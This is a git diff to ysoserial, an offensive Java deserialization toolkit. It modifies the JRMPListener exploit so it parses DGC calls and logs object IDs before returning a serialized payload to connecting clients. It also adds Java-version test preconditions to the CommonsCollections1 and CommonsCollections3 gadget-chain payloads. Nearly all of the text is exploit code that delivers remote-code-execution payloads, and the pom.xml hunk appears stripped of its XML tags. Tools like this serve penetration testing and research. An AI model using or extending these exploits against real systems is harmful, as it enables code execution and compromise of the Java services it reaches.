diff --git a/pom.xml b/pom.xml
index 492357d..b216df0 100644
--- a/pom.xml
+++ b/pom.xml
@@ -49,6 +49,15 @@
+
+ org.apache.maven.plugins
+ maven-surefire-plugin
+
+
+ false
+
+
+
diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java
index e5c034c..a77bbbe 100644
--- a/src/main/java/ysoserial/exploit/JRMPListener.java
+++ b/src/main/java/ysoserial/exploit/JRMPListener.java
@@ -20,6 +20,7 @@ import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
+import java.util.Arrays;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
@@ -245,18 +246,33 @@ public class JRMPListener implements Runnable {
@Override
protected Class> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
+ if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
+ return ObjID[].class;
+ } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
+ return ObjID.class;
+ } else if ( "java.rmi.server.UID".equals(desc.getName())) {
+ return UID.class;
+ }
throw new IOException("Not allowed to read object");
}
};
+ ObjID read;
try {
- ObjID.read(ois);
+ read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}
- System.err.println("Sending return with payload");
+
+ if ( read.hashCode() == 2 ) {
+ ois.readInt(); // method
+ ois.readLong(); // hash
+ System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
+ }
+
+ System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java
index b4e8b92..ce6d0e2 100644
--- a/src/main/java/ysoserial/payloads/CommonsCollections1.java
+++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java
@@ -11,7 +11,9 @@ import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@@ -39,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
+@PayloadTest ( precondition = "isApplicableJavaVersion")
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload {
public InvocationHandler getObject(final String command) throws Exception {
@@ -75,4 +78,8 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
+
+ public static boolean isApplicableJavaVersion() {
+ return JavaVersion.isAnnInvHUniversalMethodImpl();
+ }
}
diff --git a/src/main/java/ysoserial/payloads/CommonsCollections3.java b/src/main/java/ysoserial/payloads/CommonsCollections3.java
index 6216342..89aa390 100755
--- a/src/main/java/ysoserial/payloads/CommonsCollections3.java
+++ b/src/main/java/ysoserial/payloads/CommonsCollections3.java
@@ -13,7 +13,9 @@ import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@@ -25,6 +27,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@Dependencies({"commons-collections:commons-collections:3.1"})
+@PayloadTest ( precondition = "isApplicableJavaVersion")
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload